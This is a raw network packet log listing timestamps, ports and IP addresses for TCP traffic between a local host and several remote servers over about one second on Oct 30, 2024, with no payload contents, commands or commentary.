Oct 30, 2024 23:11:46.175081015 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.197048903 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.197067022 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.197077990 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.197134972 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.197184086 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.198764086 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.198818922 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.198827982 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.198844910 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.198892117 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.215703964 CET	49957	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.244345903 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.244422913 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.244477034 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.244488001 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.244540930 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.271632910 CET	49968	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.271681070 CET	443	49968	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.271771908 CET	49968	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.272073984 CET	49968	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.272095919 CET	443	49968	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.286389112 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.286422968 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.286475897 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.286504030 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.286557913 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.286581039 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.286636114 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.293251991 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.293340921 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.293343067 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.293351889 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.293361902 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.293409109 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.303248882 CET	49969	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:46.303282976 CET	443	49969	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:46.303517103 CET	49969	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:46.303693056 CET	49969	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:46.303706884 CET	443	49969	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:46.306998014 CET	443	49961	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.307945967 CET	49961	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.307960033 CET	443	49961	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.308552027 CET	49961	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.308557034 CET	443	49961	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.314930916 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.314966917 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.314977884 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.314997911 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.315037966 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.316781998 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.316817999 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.316827059 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.316848993 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.316875935 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.328583956 CET	443	49962	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.330985069 CET	443	49960	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.339957952 CET	443	49957	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.339962959 CET	49962	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.339978933 CET	443	49962	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.340430021 CET	49957	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.340481997 CET	443	49957	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.340596914 CET	443	49957	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.340661049 CET	49957	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.340751886 CET	49957	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.342494965 CET	49962	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.342500925 CET	443	49962	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.345491886 CET	49960	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.345504999 CET	443	49960	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.346190929 CET	49960	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.346195936 CET	443	49960	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.353163958 CET	443	49958	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.353691101 CET	49958	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.353743076 CET	443	49958	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.353813887 CET	49958	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.361494064 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.361555099 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.361565113 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.361603975 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.361610889 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.361623049 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.361634970 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.361660004 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.404484034 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.404541969 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.404576063 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.404576063 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.404606104 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.404623985 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.411385059 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.411442041 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.411475897 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.411504030 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.411537886 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.432841063 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.432854891 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.432909966 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.432930946 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.432938099 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.432944059 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.432970047 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.432984114 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.434942007 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.434954882 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.434966087 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.435025930 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.435067892 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.439663887 CET	443	49961	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.439692020 CET	443	49961	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.439735889 CET	443	49961	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.439742088 CET	49961	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.439816952 CET	49961	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.439990044 CET	49961	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.440004110 CET	443	49961	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.440020084 CET	49961	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.440025091 CET	443	49961	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.442783117 CET	49970	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.442805052 CET	443	49970	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.442919016 CET	49970	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.443142891 CET	49970	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.443156004 CET	443	49970	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.468082905 CET	443	49964	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.468594074 CET	49964	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.468610048 CET	443	49964	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.469074965 CET	49964	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.469079018 CET	443	49964	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.469961882 CET	443	49962	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.470022917 CET	443	49962	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.470103979 CET	49962	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.470268965 CET	49962	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.470288038 CET	443	49962	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.470303059 CET	49962	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.470308065 CET	443	49962	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.473598003 CET	49971	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.473618984 CET	443	49971	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.473751068 CET	49971	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.473870039 CET	49971	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.473881006 CET	443	49971	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.475672007 CET	443	49960	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.475780964 CET	443	49960	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.476043940 CET	49960	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.476043940 CET	49960	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.476123095 CET	49960	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.476129055 CET	443	49960	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.478280067 CET	49972	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.478321075 CET	443	49972	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.478471041 CET	49972	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.478542089 CET	49972	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.478547096 CET	443	49972	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.610585928 CET	443	49964	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.610821962 CET	443	49964	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.610869884 CET	49964	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.610878944 CET	443	49964	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.610893965 CET	443	49964	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.610966921 CET	49964	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.611021996 CET	49964	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.611032009 CET	443	49964	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.611041069 CET	49964	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.611046076 CET	443	49964	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.613708973 CET	49973	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.613724947 CET	443	49973	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.613799095 CET	49973	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.613981009 CET	49973	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.613991022 CET	443	49973	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.630235910 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.630285025 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.630296946 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.630347967 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.630348921 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.630362034 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.630374908 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.630381107 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.630388975 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.630413055 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.630451918 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.630717039 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.630728960 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.630738974 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.630752087 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.630769014 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.630783081 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.630848885 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.630894899 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.630907059 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.630939960 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.630973101 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.631587982 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.631839037 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.631894112 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.639360905 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.639372110 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.639414072 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.641376972 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.641424894 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.641783953 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.641829014 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.648191929 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.648243904 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.648343086 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.648397923 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.668554068 CET	443	49963	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:46.669260979 CET	49963	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:46.669298887 CET	443	49963	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:46.670047998 CET	49963	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:46.670058012 CET	443	49963	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:46.670088053 CET	49963	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:46.670094013 CET	443	49963	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:46.672620058 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.672638893 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.672650099 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.672694921 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.775068045 CET	443	49965	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.775460005 CET	49965	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.775479078 CET	443	49965	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.777302027 CET	443	49965	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.777379990 CET	49965	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.777848005 CET	49965	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.777895927 CET	49965	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.777900934 CET	443	49965	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.777932882 CET	443	49965	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.777961969 CET	49965	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.778014898 CET	443	49965	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.825073957 CET	49965	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.825094938 CET	443	49965	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.866218090 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.866230965 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.866241932 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.866256952 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.866334915 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.866379976 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.866388083 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.866400957 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.866410971 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.866487980 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.866502047 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.866554022 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.866568089 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.866579056 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.866611958 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.867078066 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.867161989 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.874548912 CET	49965	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.878357887 CET	443	49966	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.878370047 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.878441095 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.878453016 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.878501892 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.878911018 CET	49966	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.878931999 CET	443	49966	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.879371881 CET	49966	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.879378080 CET	443	49966	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.909512997 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.909569979 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.909579992 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.909614086 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.909658909 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.913248062 CET	443	49969	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:46.913527012 CET	49969	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:46.913552999 CET	443	49969	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:46.913938046 CET	443	49969	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:46.914242983 CET	49969	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:46.914313078 CET	443	49969	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:46.957552910 CET	443	49965	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.958133936 CET	49965	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.958229065 CET	443	49965	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.958276987 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.958297014 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.958307028 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.958307981 CET	49965	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.958329916 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.958353043 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.965688944 CET	49969	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:46.984972000 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.985038996 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.985089064 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.985150099 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.990494013 CET	443	49967	20.125.209.212	192.168.2.5
Oct 30, 2024 23:11:46.991358042 CET	49967	443	192.168.2.5	20.125.209.212
Oct 30, 2024 23:11:46.991370916 CET	443	49967	20.125.209.212	192.168.2.5
Oct 30, 2024 23:11:46.992100000 CET	443	49967	20.125.209.212	192.168.2.5
Oct 30, 2024 23:11:46.992538929 CET	49967	443	192.168.2.5	20.125.209.212
Oct 30, 2024 23:11:46.992625952 CET	443	49967	20.125.209.212	192.168.2.5
Oct 30, 2024 23:11:46.992716074 CET	49967	443	192.168.2.5	20.125.209.212
Oct 30, 2024 23:11:47.015238047 CET	443	49966	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.016107082 CET	443	49966	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.016171932 CET	49966	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.016191959 CET	49966	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.016206026 CET	443	49966	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.016246080 CET	49966	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.016251087 CET	443	49966	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.019027948 CET	49974	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.019074917 CET	443	49974	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.019393921 CET	49974	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.019593954 CET	49974	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.019608974 CET	443	49974	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.027483940 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.027520895 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.027533054 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.027592897 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.027631044 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.035345078 CET	443	49967	20.125.209.212	192.168.2.5
Oct 30, 2024 23:11:47.043793917 CET	49967	443	192.168.2.5	20.125.209.212
Oct 30, 2024 23:11:47.071651936 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.071664095 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.071675062 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.071717024 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.071753979 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.071754932 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.071768999 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.071824074 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.071825027 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.077581882 CET	443	49963	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:47.077616930 CET	443	49963	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:47.077657938 CET	443	49963	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:47.077682018 CET	49963	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:47.077693939 CET	443	49963	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:47.077723026 CET	49963	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:47.078210115 CET	49963	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:47.078223944 CET	443	49963	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:47.078273058 CET	49963	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:47.078433037 CET	443	49963	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:47.078486919 CET	443	49963	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:47.078566074 CET	49963	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:47.133109093 CET	443	49968	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:47.133409977 CET	49968	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:47.133426905 CET	443	49968	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:47.134510040 CET	443	49968	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:47.134567022 CET	49968	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:47.134963036 CET	49968	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:47.135025024 CET	443	49968	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:47.135256052 CET	49968	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:47.135262966 CET	443	49968	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:47.135375977 CET	49968	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:47.135401964 CET	443	49968	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:47.145386934 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.145410061 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.145421982 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.145450115 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.145467997 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.145478010 CET	49870	80	192.168.2.5	185.215.113.206
